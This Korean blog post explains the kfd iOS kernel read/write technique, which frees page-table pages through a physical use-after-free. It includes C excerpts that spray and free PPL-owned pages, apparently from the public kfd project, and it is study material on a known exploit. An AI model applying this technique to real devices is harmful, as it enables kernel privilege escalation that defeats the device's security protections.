[iOS] iOS에서 KTRW를 우회하여 커널을 읽고 쓸 수 있는 kfd

TL;DR

puaf 이용하여 free된 PTE L3 물리 페이지으로부터 커널 읽기/쓰기 권한을 가져올 수 있다.

puaf를 이용하여 권한을 가져온 상태를 정의하자

puaf는 Physical Use Afer Free의 약어로, 물리주소에서 일어나는 UAF다.
댕글링 포인터를 이용하여 특정 Page Table Entry의 AP 비트를 이용해 읽고 쓰는 권한을 갖게 하는 것이다.
User Process에서 위의 과정이 일어나게 되고 free()한 후에 커널이 이를 사용하게 하여 커널의 R/W 권한을 가져오게 된다.

이때 유의해야할 점으로 Page Preservation Layer에서 사용할 수 있는 free()된 리스트가 부족하게 되면,
PPL은 pmap_mark_page_as_ppl_page_internal()를 호출하게 된다.
이때 PPL은 일반 커널에서 페이지를 요청하기 때문에 PPL 매커니즘에 의해 커널 패닉을 발생시킨다.
따라서 PPL을 사용할때 free() 리스트의 크기를 늘려야 한다.

위의 과정을 코드로 보자

1. PPL 소유 페이지 할당

while (true) {
        // address + 2^25(1ull << 25)
        address += l2_block_size;
        if (address < min_address) {
            continue;
        }

        if (address >= max_address) {
            break;
        }

        /// vm_allocate()를 이용해서 PPL_pages를 원하는 크기만큼 할당
        kern_return_t kret = vm_allocate(mach_task_self(), &address, pages(1), VM_FLAGS_FIXED);
        if (kret == KERN_SUCCESS) {
            /// 사용자 공간에서 인식가능하도록 하는 과정
            memset((void*)(address), 'A', 1);
            addresses[given_ppl_pages] = address;
            /// 최대 페이지 수로 설정한 10000에 도달하면 break
            if (++given_ppl_pages == given_ppl_pages_max) {
                break;
            }
        }
    }

2. 할당된 PPL_pages에 매핑 존재하는지 확인하고, 없으면 L3 테이블 할당(내부적으로 동작)

3. 할당을 해제하면 Free 리스트에 들어감

/// 할당 메모리 해제
    for (u64 i = 0; i < given_ppl_pages; i++) {
        assert_mach(vm_deallocate(mach_task_self(), addresses[i], pages(1)));
    }

    print_u64(given_ppl_pages);
즉, 반복적으로 해당 영역을 살피면서 AP비트를 확인하는 것이다.

Reference

https://github.com/felix-pb/kfd.git

Categories:

Updated:

Leave a comment